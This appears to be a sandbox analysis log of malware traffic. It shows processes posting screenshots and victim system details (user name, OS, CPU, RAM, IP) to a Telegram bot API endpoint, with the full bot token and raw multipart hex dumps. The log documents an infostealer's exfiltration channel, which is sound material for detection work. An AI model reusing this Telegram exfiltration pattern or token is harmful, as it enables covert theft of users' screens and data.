2024-04-19 17:35:17 UTC	1024	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 36 61 34 31 37 32 30 32 32 64 38 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 68 61 74 5f 69 64 22 0d 0a 0d 0a 31 32 31 30 35 35 38 34 39 32 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 36 61 34 31 37 32 30 32 32 64 38 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 61 70 74 69 6f 6e 22 0d 0a 0d 0a 4e 65 77 20 53 43 20 52 65 63 6f 76 65 72 65 64 21 0a 0a 54 69 6d 65 3a 20 30 35 2f 30 32 2f 32 30 32 34 20 30 30 3a 34 32 3a 32 39 0a 55 73 65 72 Data Ascii: -----------------------------8dc6a4172022d82Content-Disposition: form-data; name="chat_id"1210558492-----------------------------8dc6a4172022d82Content-Disposition: form-data; name="caption"New SC Recovered!Time: 05/02/2024 00:42:29User
2024-04-19 17:35:17 UTC	16355	OUT	Data Raw: 11 04 05 21 31 06 12 41 51 07 61 71 13 22 32 81 08 14 42 91 a1 b1 c1 09 23 33 52 f0 15 62 72 d1 0a 16 24 34 e1 25 f1 17 18 19 1a 26 27 28 29 2a 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 82 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e2 e3 e4 e5 e6 e7 e8 e9 ea f2 f3 f4 f5 f6 f7 f8 f9 fa ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 8e 8a 28 af a7 3e 38 28 a9 e2 b4 9a 44 12 60 2c 67 a3 31 c0 3f d4 d4 cb 6b 0a fd e6 69 0f b7 03 ff 00 af fa 56 52 ab 08 ee cd 61 46 73 d9 14 68 ad 55 b5 b6 91 39 8b 6f ba b1 cf eb 9a 86 4d 34 f5 86 55 6f 66 f9 4f f8 52 8d 78 3f 22 a5 87 9c 7c ca 14 Data Ascii: !1AQaq"2B#3Rbr$4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?(>8(D`,g1?kiVRaFshU9oM4UofORx?"\|
2024-04-19 17:35:17 UTC	16355	OUT	Data Raw: e7 92 7f df 22 9c aa aa 30 a0 01 e8 2b 4a 58 19 c6 a2 94 a4 ac 8c eb 66 b4 1d 19 c2 9c 5d e4 ad ad 85 a2 8a 2b d5 3e 78 28 a2 8a 00 b5 a5 b2 a6 a9 6a cc 42 a8 95 49 24 e0 01 9a ee 3e dd 67 ff 00 3f 70 7f df c5 ff 00 1a f3 da 2b 8e be 17 db 4b 9a f6 3d 0c 2e 3b ea f0 70 e5 be bd cf 42 fb 7d 97 fc fe 5b ff 00 df d5 ff 00 1a 4f b7 d9 7f cf e5 bf fd fd 5f f1 af 3e a2 b0 fe cf fe f7 e1 ff 00 04 e9 fe d5 fe e7 e3 ff 00 00 ea 7c 4f 75 6d 36 9a 89 0d c4 52 37 9a 0e 11 c1 38 c1 f4 ae 56 8a 2b b3 0f 47 d8 c7 96 f7 38 31 58 8f ac 4d 4a d6 d0 28 a2 8a dc e6 0a 28 a2 80 0a 28 a2 80 0a 4a 5a 28 01 28 a5 a4 a0 02 8a 28 a0 02 8a 28 a0 02 8a 28 a0 04 a2 8a 28 18 51 45 14 c0 4a 29 68 a0 04 a2 8a 5a 00 4a 28 a2 80 0a 4a 5a 4a 06 14 51 45 30 0a 28 a2 80 12 8a 5a 4a 06 14 51 Data Ascii: "0+JXf]+>x(jBI$>g?p+K=.;pB}[O_>\|Oum6R78V+G81XMJ(((JZ((((((QEJ)hZJ(JZJQE0(ZJQ
2024-04-19 17:35:17 UTC	16355	OUT	Data Raw: d9 f2 82 51 45 14 00 57 49 e0 bf f9 06 dd 7f d7 d3 ff 00 25 ae 6e ba 4f 05 ff 00 c8 36 eb fe be 9f f9 2d 79 79 8f d8 f9 9f 41 92 fc 35 7d 17 e6 6f 4b 22 43 13 cb 23 05 44 05 98 9e c0 57 19 a1 eb 31 5a de de 5e cc 9f ba bb 72 ec 63 52 4c 58 27 01 bb 73 9a d6 d5 34 7b ed 57 50 29 3c 81 6c 43 02 30 e7 ee 80 32 02 fa 93 9e 4e 6b 71 21 8a 38 04 09 1a 88 82 ed 09 8e 31 e9 5e 3b 52 9c ae b4 b1 f4 d0 9d 2a 14 9c 5f bc e5 bd ba 2f f3 ff 00 22 b5 96 a7 6d 7b 2b c3 19 75 95 14 31 49 10 a9 c1 e8 7d c5 73 3e 2a ff 00 91 8a 3f fa f5 1f fa 19 ae ae da c6 d2 d1 99 ad ad a2 85 9b ef 14 40 33 5c a7 8a bf e4 62 8f fe bd 47 fe 86 6b a2 85 fd a4 2f dc e1 c4 f2 7b 1a bc 9b 72 bd fe 46 65 14 51 5f 48 7c 38 51 45 14 00 51 45 14 0c 28 a2 8a 00 28 a2 8a 00 4a 29 68 a0 04 a2 96 8a Data Ascii: QEWI%nO6-yyA5}oK"C#DW1Z^rcRLX's4{WP)<lC02Nkq!81^;R_/"m{+u1I}s>?@3\bGk/{rFeQ_H\|8QEQE((J)h
2024-04-19 17:35:17 UTC	15447	OUT	Data Raw: a2 8a 29 80 51 45 14 00 51 45 14 00 94 51 45 03 0a 4a 5a 4a 00 28 a2 8a 06 14 51 45 00 25 14 51 40 05 14 51 40 c2 90 d2 f6 a4 a0 02 8a 28 a0 04 a2 8a 28 18 52 52 d2 50 01 45 14 50 02 51 4b 49 40 c2 8a 28 a0 02 92 8a 29 8c 28 a2 8a 00 4a 28 cd 26 68 18 b4 94 94 50 16 0c fb 52 66 8a 28 18 52 52 d2 50 01 49 4b 49 40 c2 8a 28 a0 61 49 45 14 00 52 52 d2 50 30 a2 8a 28 01 28 a2 8a 06 21 a2 8a 28 00 a4 a5 a4 a0 61 49 4b 49 40 05 25 2d 14 14 25 14 52 50 08 5a 4a 28 a0 04 34 51 45 03 0a 4a 5a 4a 06 14 94 51 40 09 45 2d 25 03 0a 4a 5a 4a 06 14 94 51 40 05 25 2d 14 0c 4a 28 a2 81 85 25 14 94 00 b4 94 51 40 c3 8a 29 28 a0 02 8a 28 a0 62 51 45 14 0c 4a 28 a2 80 0a 28 a4 a6 30 fe 74 51 f9 50 69 0c 43 c7 34 51 45 30 13 f1 a3 8a 28 a0 61 49 c5 2d 27 14 80 3d e8 fa 51 45 Data Ascii: )QEQEQEJZJ(QE%Q@Q@((RRPEPQKI@()(J(&hPRf(RRPIKI@(aIERRP0((!(aIKI@%-%RPZJ(4QEJZJQ@E-%JZJQ@%-J(%Q@)((bQEJ((0tQPiC4QE0(aI-'=QE
2024-04-19 17:35:17 UTC	1569	OUT	Data Raw: 9e a9 ff 00 7d 0a 3c f8 7f e7 aa 7f df 42 80 24 a2 a3 f3 e1 ff 00 9e a9 ff 00 7d 0a 3c f8 7f e7 aa 7f df 42 80 24 a2 a3 f3 e1 ff 00 9e a9 ff 00 7d 0a 3c f8 7f e7 aa 7f df 42 80 24 a2 a3 f3 e1 ff 00 9e a9 ff 00 7d 0a 3c f8 7f e7 aa 7f df 42 80 24 a2 a3 f3 e1 ff 00 9e a9 ff 00 7d 0a 3c f8 7f e7 aa 7f df 42 80 24 a2 a3 f3 e1 ff 00 9e a9 ff 00 7d 0a 3c f8 7f e7 aa 7f df 42 80 24 a2 a3 f3 e1 ff 00 9e a9 ff 00 7d 0a 3c f8 7f e7 aa 7f df 42 80 09 ff 00 e3 de 4f f7 4f f2 af 9e 6b e8 39 a6 88 c1 20 12 21 25 4f f1 0f 4a f9 f2 ae 26 73 0a dc d3 3c 49 3d 9d 8f d8 2e 6d 60 bf b3 ce e5 86 e1 72 14 fa 83 db f0 ac 3a 2a 88 37 35 3f 12 4f 79 63 f6 0b 6b 58 2c 2c f3 b9 a1 b7 5c 06 3e a4 f7 fc 6b 0e 8a 28 00 a2 8a 29 80 56 bd cf 89 f5 cb 8b a9 67 fe d5 bc 8b cc 72 fe 5c 57 Data Ascii: }<B$}<B$}<B$}<B$}<B$}<B$}<BOOk9 !%OJ&s<I=.m`r:*75?OyckX,,\>k()Vgr\W
2024-04-19 17:35:17 UTC	50	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 36 61 34 31 37 32 30 32 32 64 38 32 2d 2d 0d 0a Data Ascii: -----------------------------8dc6a4172022d82--
2024-04-19 17:35:17 UTC	25	IN	HTTP/1.1 100 Continue
2024-04-19 17:35:18 UTC	1482	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 19 Apr 2024 17:35:18 GMT Content-Type: application/json Content-Length: 1093 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection {"ok":true,"result":{"message_id":3440,"from":{"id":7177134832,"is_bot":true,"first_name":"bng_bot","username":"shanny1975_bot"},"chat":{"id":1210558492,"first_name":"kelv","last_name":"calin","type":"private"},"date":1713548118,"document":{"file_name":"user-618321 2024-05-02 00-47-29.jpg","mime_type":"image/jpeg","thumbnail":{"file_id":"AAMCBAADGQMAAg1wZiKrVpTf3MTQCGBG8QSTup8w-SkAArMXAAKLUhlRLkVZjOqtbpsBAAdtAAM0BA","file_unique_id":"AQADsxcAAotSGVFy","file_size":12511,"width":320,"height":256},"thumb":{"file_id":"AAMCBAADGQMAAg1wZiKrVpTf3MTQCGBG8QSTup8w-SkAArMXAAKLUhlRLkVZjOqtbpsBAAdtAAM0BA","file_unique_id":"AQADsxcAAotSGVFy","file_size":12511,"width":320,"height":256},"file_id":"BQACAgQAAxkDAAINcGYiq1aU39zE0AhgRvEEk7qfMPkpAAKzFwACi1IZUS5FWYzqrW6bNAQ","file_unique_id":"AgADsxcAAotSGVE","file_size":66532},"caption":"New SC Recovered!\n\nTime: 05/02/2024 00:42:29\nUser Name: user/618321\nOSFullName: Microsoft Windows 10 Pro\nCPU: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz\nRAM: 8191.25 MB\nIP Address: 81.181.57.52","caption_entities":[{"offset":179,"length":12,"type":"url"}]}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49724	149.154.167.220	443	3472	C:\Users\user\Desktop\z1E-catalogSamples.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 17:35:28 UTC	262	OUT	POST /bot7177134832:AAFZbBRZvrMTexyCCRWrTRyGHf8Nct0rg7g/sendDocument HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------------8dc78741e30d00b Host: api.telegram.org Content-Length: 72005 Expect: 100-continue Connection: Keep-Alive
2024-04-19 17:35:28 UTC	1024	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 37 38 37 34 31 65 33 30 64 30 30 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 68 61 74 5f 69 64 22 0d 0a 0d 0a 31 32 31 30 35 35 38 34 39 32 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 37 38 37 34 31 65 33 30 64 30 30 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 61 70 74 69 6f 6e 22 0d 0a 0d 0a 4e 65 77 20 53 43 20 52 65 63 6f 76 65 72 65 64 21 0a 0a 54 69 6d 65 3a 20 30 35 2f 32 30 2f 32 30 32 34 20 30 32 3a 32 35 3a 32 33 0a 55 73 65 72 Data Ascii: -----------------------------8dc78741e30d00bContent-Disposition: form-data; name="chat_id"1210558492-----------------------------8dc78741e30d00bContent-Disposition: form-data; name="caption"New SC Recovered!Time: 05/20/2024 02:25:23User
2024-04-19 17:35:28 UTC	16355	OUT	Data Raw: 11 04 05 21 31 06 12 41 51 07 61 71 13 22 32 81 08 14 42 91 a1 b1 c1 09 23 33 52 f0 15 62 72 d1 0a 16 24 34 e1 25 f1 17 18 19 1a 26 27 28 29 2a 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 82 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e2 e3 e4 e5 e6 e7 e8 e9 ea f2 f3 f4 f5 f6 f7 f8 f9 fa ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 8e 8a 28 af a7 3e 38 28 a9 e2 b4 9a 44 12 60 2c 67 a3 31 c0 3f d4 d4 cb 6b 0a fd e6 69 0f b7 03 ff 00 af fa 56 52 ab 08 ee cd 61 46 73 d9 14 68 ad 55 b5 b6 91 39 8b 6f ba b1 cf eb 9a 86 4d 34 f5 86 55 6f 66 f9 4f f8 52 8d 78 3f 22 a5 87 9c 7c ca 14 Data Ascii: !1AQaq"2B#3Rbr$4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?(>8(D`,g1?kiVRaFshU9oM4UofORx?"\|
2024-04-19 17:35:28 UTC	16355	OUT	Data Raw: f9 cf 92 b5 2a 22 a0 c2 8c 0a da 8e 1e 50 9f 3b 77 39 f1 18 b8 d5 a6 a9 c6 36 d8 5a 28 a2 ba ce 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 4a 00 5a 4a 5a 4a 00 28 a2 8a 00 28 a2 8a 00 28 a2 8a 00 28 a2 8a 06 14 51 45 00 14 94 b4 94 00 51 45 14 00 51 45 14 c0 4a 28 a2 81 86 28 a2 8a 00 28 a2 8a 00 28 a2 8a 00 28 a2 8a 40 25 14 51 4c 02 92 96 8a 06 25 14 b4 94 00 51 45 14 00 51 45 14 c0 4a 29 69 28 18 52 d2 51 40 0b b8 d1 95 3d 45 25 14 00 bb 41 e8 69 a5 18 52 e6 97 26 80 19 8a 4a 97 77 a8 cd 26 14 fb 51 61 dc 8e 8a 79 4f 43 9a 69 04 76 34 05 c4 a4 a5 a2 90 c4 a2 8a 29 8c 4a 29 69 28 00 a4 a5 a2 80 12 b6 3c 2b ff 00 21 b4 ff 00 71 bf 95 64 56 c7 85 7f e4 34 9f ee 37 f2 ae 7c 4f f0 64 74 e1 7f 8d 13 b8 a2 8a e4 74 ed 62 f3 51 b8 16 b6 f7 ee f7 Data Ascii: *"P;w96Z(((((JZJZJ((((QEQEQEJ(((((@%QL%QEQEJ)i(RQ@=E%AiR&Jw&QayOCiv4)J)i(<+!qdV47\|OdttbQ
2024-04-19 17:35:28 UTC	16355	OUT	Data Raw: 00 76 d6 ce af 6d 1b 23 06 1b 47 22 ae 43 e4 17 dc a1 3c ed b8 27 1f 36 3f 9e 2b 88 b1 bf 9a ca 4c a1 dc 87 ef 21 e8 6a c2 eb 77 69 2b 64 ac b1 16 25 52 51 9c 0f ad 7c fc 72 ca 94 ea 4a da ae 87 d2 2c d6 94 a9 c7 99 59 9d 6d cc 89 1c 52 bb ba a2 86 19 2c 70 07 4a cd bc 96 39 53 52 68 dd 5c 0b 54 04 a9 c8 ce 5c e3 f5 15 9f 3e bb 1c da 6c d1 2c 6f 1c ed 82 37 1d ea 79 1e be c2 a8 0d 5a e8 5a 49 6d 88 84 72 02 18 2c 61 7a fd 31 5b 53 c1 d5 e6 4d f4 65 54 cc a8 28 38 ad 5b 45 0a 28 a2 bd a3 e6 42 8a 28 a0 02 ba 5f 08 fd cb bf aa 7f 5a e6 aa fe 9b aa 4d a6 89 04 29 1b 79 98 ce f0 7b 7d 0f bd 73 62 a9 ca a5 3e 58 ee 76 e0 6a c2 95 5e 69 bb 23 a6 d4 74 6b 7b e9 56 e1 5e 4b 7b a5 e9 34 47 07 f1 f5 aa c7 47 d4 a4 1b 25 d7 66 31 f7 09 10 53 f9 e6 b3 ff 00 e1 27 bc Data Ascii: vm#G"C<'6?+L!jwi+d%RQ\|rJ,YmR,pJ9SRh\T\>l,o7yZZImr,az1[SMeT(8[E(B(_ZM)y{}sb>Xvj^i#tk{V^K{4GG%f1S'
2024-04-19 17:35:28 UTC	15447	OUT	Data Raw: c8 6a 1d 54 13 a6 4c 00 cf 4f e6 2b cc c2 7f bc 43 d5 7e 67 7e 33 fd de a7 a3 fc 8e 66 8a 28 af bd 3e 08 28 a2 8a 00 2a bd ff 00 fc 79 c9 f8 7f 31 56 2a be a1 ff 00 1e 52 7e 1f cc 57 3e 2b f8 13 f4 7f 91 df 95 ff 00 bf 50 ff 00 1c 7f 34 7a 55 64 78 a0 ec d1 25 97 2b 98 99 1c 06 e8 df 30 e2 b5 26 96 38 21 79 a5 60 b1 a0 2c cc 7b 01 5c bd ec f7 1e 24 be 4b 0b 78 cc 16 f0 11 2c af 20 dd cf 60 54 7f 2c fe 58 af 9c ab 2b 46 dd 59 f6 b8 3a 6d d4 55 1e 91 8e ad 9b ba 18 23 44 b2 05 f7 9f 25 79 ce 7b 55 d6 50 ca 55 80 20 8c 10 7b d7 3c 74 5d 4a d2 3d b6 5a 83 32 1d c4 c7 91 18 56 3d c6 01 18 f6 ad bb 15 b9 4b 38 96 f1 d5 ee 02 fc ec 83 82 69 c1 bd 9a 26 bc 23 77 52 32 4e ef e6 79 e5 87 fc 79 c7 f8 ff 00 33 56 2a be 9e 7f d0 a3 fc 7f 99 ab 19 af a1 c2 ff 00 02 1e Data Ascii: jTLO+C~g~3f(>(y1VR~W>+P4zUdx%+0&8!y`,{\$Kx, `T,X+FY:mU#D%y{UPU {<t]J=Z2V=K8i&#wR2Nyy3V*
2024-04-19 17:35:28 UTC	6419	OUT	Data Raw: fa 2b d0 3c 88 7f e7 92 7f df 22 8f 22 1f f9 e4 9f f7 c8 a3 eb ff 00 dd fc 7f e0 07 f6 47 f7 ff 00 0f f8 27 9f d1 5e 81 e4 43 ff 00 3c 93 fe f9 14 79 10 ff 00 cf 24 ff 00 be 45 1f 5f fe ef e3 ff 00 00 3f b2 3f bf f8 7f c1 3c fe 8a f4 0f 22 1f f9 e4 9f f7 c8 a3 c8 87 fe 79 27 fd f2 28 fa ff 00 f7 7f 1f f8 01 fd 93 fd ff 00 c3 fe 09 e7 f4 57 a0 79 10 ff 00 cf 24 ff 00 be 45 1e 44 3f f3 c9 3f ef 91 47 d7 ff 00 bb f8 ff 00 c0 0f ec 8f ef fe 1f f0 4f 3f a2 bd 03 c8 87 fe 79 27 fd f2 28 f2 21 ff 00 9e 49 ff 00 7c 8a 3e bf fd df c7 fe 00 7f 64 ff 00 7f f0 ff 00 82 79 fd 15 e8 1e 44 3f f3 c9 3f ef 91 47 91 0f fc f2 4f fb e4 51 f5 ff 00 ee fe 3f f0 03 fb 27 fb ff 00 87 fc 13 cf a8 af 41 f2 21 ff 00 9e 49 ff 00 7c 8a 3c 88 7f e7 92 7f df 22 8f af ff 00 77 f1 ff 00 Data Ascii: +<""G'^C<y$E_??<"y'(Wy$ED??GO?y'(!I\|>dyD??GOQ?'A!I\|<"w
2024-04-19 17:35:28 UTC	50	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 37 38 37 34 31 65 33 30 64 30 30 62 2d 2d 0d 0a Data Ascii: -----------------------------8dc78741e30d00b--
2024-04-19 17:35:28 UTC	25	IN	HTTP/1.1 100 Continue
2024-04-19 17:35:29 UTC	1482	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 19 Apr 2024 17:35:29 GMT Content-Type: application/json Content-Length: 1093 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection {"ok":true,"result":{"message_id":3441,"from":{"id":7177134832,"is_bot":true,"first_name":"bng_bot","username":"shanny1975_bot"},"chat":{"id":1210558492,"first_name":"kelv","last_name":"calin","type":"private"},"date":1713548129,"document":{"file_name":"user-618321 2024-05-20 02-25-29.jpg","mime_type":"image/jpeg","thumbnail":{"file_id":"AAMCBAADGQMAAg1xZiKrYbZPGJtzfjh9hYIR6GHXiUAAArQXAAKLUhlRs_qaKwfDiiMBAAdtAAM0BA","file_unique_id":"AQADtBcAAotSGVFy","file_size":13289,"width":320,"height":256},"thumb":{"file_id":"AAMCBAADGQMAAg1xZiKrYbZPGJtzfjh9hYIR6GHXiUAAArQXAAKLUhlRs_qaKwfDiiMBAAdtAAM0BA","file_unique_id":"AQADtBcAAotSGVFy","file_size":13289,"width":320,"height":256},"file_id":"BQACAgQAAxkDAAINcWYiq2G2Txibc344fYWCEehh14lAAAK0FwACi1IZUbP6misHw4ojNAQ","file_unique_id":"AgADtBcAAotSGVE","file_size":71382},"caption":"New SC Recovered!\n\nTime: 05/20/2024 02:25:23\nUser Name: user/618321\nOSFullName: Microsoft Windows 10 Pro\nCPU: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz\nRAM: 8191.25 MB\nIP Address: 81.181.57.52","caption_entities":[{"offset":179,"length":12,"type":"url"}]}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49725	149.154.167.220	443	7324	C:\Users\user\AppData\Roaming\vZkoWbol.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 17:35:36 UTC	238	OUT	POST /bot7177134832:AAFZbBRZvrMTexyCCRWrTRyGHf8Nct0rg7g/sendDocument HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------------8dc6ed5c7b45081 Host: api.telegram.org Content-Length: 67155 Expect: 100-continue
2024-04-19 17:35:36 UTC	1024	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 36 65 64 35 63 37 62 34 35 30 38 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 68 61 74 5f 69 64 22 0d 0a 0d 0a 31 32 31 30 35 35 38 34 39 32 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 36 65 64 35 63 37 62 34 35 30 38 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 61 70 74 69 6f 6e 22 0d 0a 0d 0a 4e 65 77 20 53 43 20 52 65 63 6f 76 65 72 65 64 21 0a 0a 54 69 6d 65 3a 20 30 35 2f 30 37 2f 32 30 32 34 20 32 30 3a 33 34 3a 32 31 0a 55 73 65 72 Data Ascii: -----------------------------8dc6ed5c7b45081Content-Disposition: form-data; name="chat_id"1210558492-----------------------------8dc6ed5c7b45081Content-Disposition: form-data; name="caption"New SC Recovered!Time: 05/07/2024 20:34:21User
2024-04-19 17:35:36 UTC	16355	OUT	Data Raw: 11 04 05 21 31 06 12 41 51 07 61 71 13 22 32 81 08 14 42 91 a1 b1 c1 09 23 33 52 f0 15 62 72 d1 0a 16 24 34 e1 25 f1 17 18 19 1a 26 27 28 29 2a 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 82 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e2 e3 e4 e5 e6 e7 e8 e9 ea f2 f3 f4 f5 f6 f7 f8 f9 fa ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 8e 8a 28 af a7 3e 38 28 a9 e2 b4 9a 44 12 60 2c 67 a3 31 c0 3f d4 d4 cb 6b 0a fd e6 69 0f b7 03 ff 00 af fa 56 52 ab 08 ee cd 61 46 73 d9 14 68 ad 55 b5 b6 91 39 8b 6f ba b1 cf eb 9a 86 4d 34 f5 86 55 6f 66 f9 4f f8 52 8d 78 3f 22 a5 87 9c 7c ca 14 Data Ascii: !1AQaq"2B#3Rbr$4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?(>8(D`,g1?kiVRaFshU9oM4UofORx?"\|
2024-04-19 17:35:36 UTC	16355	OUT	Data Raw: e7 92 7f df 22 9c aa aa 30 a0 01 e8 2b 4a 58 19 c6 a2 94 a4 ac 8c eb 66 b4 1d 19 c2 9c 5d e4 ad ad 85 a2 8a 2b d5 3e 78 28 a2 8a 00 b5 a5 b2 a6 a9 6a cc 42 a8 95 49 24 e0 01 9a ee 3e dd 67 ff 00 3f 70 7f df c5 ff 00 1a f3 da 2b 8e be 17 db 4b 9a f6 3d 0c 2e 3b ea f0 70 e5 be bd cf 42 fb 7d 97 fc fe 5b ff 00 df d5 ff 00 1a 4f b7 d9 7f cf e5 bf fd fd 5f f1 af 3e a2 b0 fe cf fe f7 e1 ff 00 04 e9 fe d5 fe e7 e3 ff 00 00 ea 7c 4f 75 6d 36 9a 89 0d c4 52 37 9a 0e 11 c1 38 c1 f4 ae 56 8a 2b b3 0f 47 d8 c7 96 f7 38 31 58 8f ac 4d 4a d6 d0 28 a2 8a dc e6 0a 28 a2 80 0a 28 a2 80 0a 4a 5a 28 01 28 a5 a4 a0 02 8a 28 a0 02 8a 28 a0 02 8a 28 a0 04 a2 8a 28 18 51 45 14 c0 4a 29 68 a0 04 a2 8a 5a 00 4a 28 a2 80 0a 4a 5a 4a 06 14 51 45 30 0a 28 a2 80 12 8a 5a 4a 06 14 51 Data Ascii: "0+JXf]+>x(jBI$>g?p+K=.;pB}[O_>\|Oum6R78V+G81XMJ(((JZ((((((QEJ)hZJ(JZJQE0(ZJQ
2024-04-19 17:35:36 UTC	16355	OUT	Data Raw: d9 f2 82 51 45 14 00 57 49 e0 bf f9 06 dd 7f d7 d3 ff 00 25 ae 6e ba 4f 05 ff 00 c8 36 eb fe be 9f f9 2d 79 79 8f d8 f9 9f 41 92 fc 35 7d 17 e6 6f 4b 22 43 13 cb 23 05 44 05 98 9e c0 57 19 a1 eb 31 5a de de 5e cc 9f ba bb 72 ec 63 52 4c 58 27 01 bb 73 9a d6 d5 34 7b ed 57 50 29 3c 81 6c 43 02 30 e7 ee 80 32 02 fa 93 9e 4e 6b 71 21 8a 38 04 09 1a 88 82 ed 09 8e 31 e9 5e 3b 52 9c ae b4 b1 f4 d0 9d 2a 14 9c 5f bc e5 bd ba 2f f3 ff 00 22 b5 96 a7 6d 7b 2b c3 19 75 95 14 31 49 10 a9 c1 e8 7d c5 73 3e 2a ff 00 91 8a 3f fa f5 1f fa 19 ae ae da c6 d2 d1 99 ad ad a2 85 9b ef 14 40 33 5c a7 8a bf e4 62 8f fe bd 47 fe 86 6b a2 85 fd a4 2f dc e1 c4 f2 7b 1a bc 9b 72 bd fe 46 65 14 51 5f 48 7c 38 51 45 14 00 51 45 14 0c 28 a2 8a 00 28 a2 8a 00 4a 29 68 a0 04 a2 96 8a Data Ascii: QEWI%nO6-yyA5}oK"C#DW1Z^rcRLX's4{WP)<lC02Nkq!81^;R_/"m{+u1I}s>?@3\bGk/{rFeQ_H\|8QEQE((J)h
